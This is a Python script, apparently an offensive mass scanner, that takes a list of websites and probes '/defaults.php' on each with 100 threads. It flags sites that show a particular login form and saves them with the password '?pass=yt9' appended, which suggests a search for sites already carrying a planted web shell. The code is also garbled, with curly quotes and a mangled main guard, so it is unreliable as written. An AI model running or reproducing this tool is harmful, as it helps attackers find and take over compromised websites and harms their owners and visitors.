import threading
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin
from colorama import *
init(autoreset=True)
requests.urllib3.disable_warnings()
print(f”””{Fore.LIGHTMAGENTA_EX}{Style.DIM}{Style.BRIGHT}
╔╗╔┌─┐┌┬┐┌─┐┬─┐┬┌─┐┬ ┬┌─┐┌─┐ ╔═╗═╗ ╦
║║║│ │ │ │ │├┬┘││ ││ │└─┐├┤───║╣ ╔╩╦╝
╝╚╝└─┘ ┴ └─┘┴└─┴└─┘└─┘└─┘└─┘ ╚═╝╩ ╚═ {Fore.LIGHTWHITE_EX}
Powered By: {Back.RED}https://t.me/Morphoisis{Style.RESET_ALL}
“””)
def check_vulnerability(url):
try:
response = requests.get(url, headers={‘User-Agent’: ‘Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.1’}, timeout=5, verify=False)
soup = BeautifulSoup(response.text, ‘html.parser’)
form = soup.find(‘form’, {‘action’: ”, ‘method’: ‘post’, ‘accept-charset’: ‘utf-8’})
if form:
print(Fore.LIGHTGREEN_EX + Style.BRIGHT + ” – Vulnerable:”, url)
with open(“vulnerable_urls.txt”, “a”, encoding=’latin-1′) as file:
file.write(url + “?pass=yt9″+’\n’)
else:
print(Fore.LIGHTRED_EX + Style.BRIGHT + ” – Not Vulnerable:”, url)
except Exception as e:
print(Fore.LIGHTRED_EX + Style.BRIGHT + ” – Not Vulnerable:”, url)
def process_url(base_url):
try:
url = urljoin(base_url, ‘/defaults.php’)
check_vulnerability(url)
except Exception as e:
print(Fore.LIGHTRED_EX + Style.BRIGHT + ” – Not Vulnerable:”, url)
def main():
file_path = input(“[+] Url List:”)
with open(file_path, “r”, encoding=’latin-1′) as file:
urls = file.readlines()
threads = []
for url in urls:
url = url.strip()
thread = threading.Thread(target=process_url, args=(url,))
threads.append(thread)
if len(threads) >= 100:
for thread in threads:
thread.start()
for thread in threads:
thread.join()
threads = []
for thread in threads:
thread.start()
for thread in threads:
thread.join()
if name == “main“:
main()
